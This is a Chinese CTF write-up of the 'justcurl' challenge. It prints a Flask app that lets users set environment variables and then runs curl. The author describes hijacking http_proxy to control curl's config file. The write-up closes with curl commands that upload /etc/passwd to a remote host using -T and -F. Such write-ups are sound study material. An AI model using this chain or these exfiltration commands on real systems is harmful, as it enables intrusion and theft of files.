对curl在CTF中的考察与利用的简单总结
2022-11-26 21:7:0 Author: xz.aliyun.com(查看原文) 阅读量:11 收藏

偶尔看到一个师傅赛后询问某比赛题目,做了下,他说他们那组是0解。远程环境关了,只有附件,所以我也不确定是不是预期解,应该差不多。(PS:本人技术比较菜,如有错误欢迎大师傅们指出,万分感谢,求轻喷

# 题目名叫justcurl

from flask import render_template, request, Flask
import os

app = Flask(__name__)

def check(s):
    if 'LD' in s  or 'BASH' in s or 'ENV' in s or 'PS' in s:
        return False
    return True
@ app.route('/')
@ app.route('/index')
def index():
    try:
        choose = request.args.get('choose')
    except:
        choose = ""
    try:
        key = request.args.get('key')
    except:
        key = ""
    try:
        value = request.args.get('value').upper()
    except:
        value = ""

    if value:
        if check(value):
            os.environ[key] = value
    if choose == "o":
        cmd = "curl http://127.0.0.1:5000/result -o options.txt"
    elif choose == "K":
        cmd = "curl http://127.0.0.1:5000/result -K options.txt"
    else:
        cmd = "curl http://127.0.0.1:5000/result"
    try:
        res = os.popen(cmd).read()
        return "your cmd is : " + cmd + "  \n and your result id :" + res
    except:
        return "error"


@ app.route('/result')
def logout():
    code = "no result"
    #return render_template("index.html",code=code) #因为不知道远程啥样且没静态文件所以我暂且把这里这样改了
    return code

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=5000)

我是本地用ubuntu:20.04的docker下了个python和curl搭的环境。

刚开始以为要用p神的变量注入,尝试了下发现好像不太行,又尝试了一些其它方法都没成功,后来去谷歌了下环境变量和curl,搜到了这篇文章 https://droidyue.com/blog/2021/07/07/set-proxy-for-curl/ ,就是配置临时环境变量 http_proxy 让终端流量走代理,(之前知道这个知识点,但没想到),尝试了下可以,http://10.0.0.3:5000/?key=http_proxy&value=http://10.0.0.2:22222/

=========================================================================

然后这样可以控制那个options.txt的文件内容,我这里是手动粘贴了个相应报文,最后ctrl c结束连接,http://10.0.0.3:5000/?choose=o&key=http_proxy&value=http://10.0.0.2:22222/

=========================================================================
然后去搜curl的参数(好像不同的环境curl -h 结果还不太一样?这个docker里的curl是有K这个参数,注意是大写的K)

刚开始尝试写了一些 —-config /etc/passwd 之类的,但只能在日志里看到warning信息,web界面啥都看不到,写入 -d ‘a=a’ 后得到post数据包才发现原来是没理解明白(
然后就是常规的curl发文件了,http://10.0.0.3:5000/?choose=K&key=http_proxy&value=http://10.0.0.2:22222/

因为不是远程所以我也不太清楚是不是非预期,总之还是学到了一些以前不知道的知识(

1,今天重新搜curl相关的资料时发现一个对curl参数详解的文档,每个参数都加了Example,强烈建议看看 https://curl.se/docs/manpage.html
2,搜索 ‘curl在ctf中的利用’ 时搜到一篇文章 https://www.anquanke.com/post/id/98896,简单把提到的知识点总结下备忘吧(

1. curl支持其他协议
2. curl http://xxx.xxx.xx.xx -o xxx
3. curl PUT文件    http://172.17.1.101:10003/?url=http://xx.xxx.xx.xx:22222/ -T /etc/passwd
4. curl发文件    curl http://xx.xxx.xx.xx -F [email protected]/etc/passwd

文章来源: https://xz.aliyun.com/t/11892
如有侵权请联系:admin#unsafe.sh